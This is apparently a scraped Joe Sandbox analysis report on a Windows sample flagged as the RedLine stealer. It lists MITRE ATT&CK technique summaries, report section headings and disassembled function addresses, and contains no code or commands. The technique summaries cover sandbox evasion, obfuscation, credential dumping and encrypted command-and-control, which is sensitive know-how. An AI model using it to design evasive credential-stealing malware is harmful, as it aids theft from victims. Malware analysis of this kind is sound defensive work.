Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
file.exe

Function 004A11A1 Relevance: 25.0, APIs: 13, Strings: 1, Instructions: 467
memorythreadinjectionCOMMON

Function 003E1150 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 162
stringCOMMON

Function 003E119B Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113
stringCOMMON

Function 003E35D2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85
memoryCOMMON

Function 003E125C Relevance: 5.1, APIs: 4, Instructions: 89
stringCOMMON

Function 003E1299 Relevance: 5.1, APIs: 4, Instructions: 78
stringCOMMON

Function 003ED020 Relevance: 1.6, APIs: 1, Instructions: 330
COMMON

Function 003F6470 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Function 00405B00 Relevance: 1.4, APIs: 1, Instructions: 140
COMMON

Function 00497960 Relevance: 1.3, APIs: 1, Instructions: 33
COMMON

Function 0040A6A0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212
stringCOMMON

Function 004004F0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 1488
COMMONCrypto

Function 0045AFD0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 209
COMMON

Function 003FF1C0 Relevance: 5.3, Strings: 4, Instructions: 342
COMMONCrypto

Function 00458DA0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92
COMMON

Function 00450600 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 77
COMMON

Function 0045A490 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 76
stringCOMMON

Function 00412860 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63
COMMON

Function 00412C50 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63
COMMON

Function 00420CA0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1123
COMMONCrypto

Function 00458BF0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49
COMMON

Function 004127F0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33
COMMON

Function 00412BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33
COMMON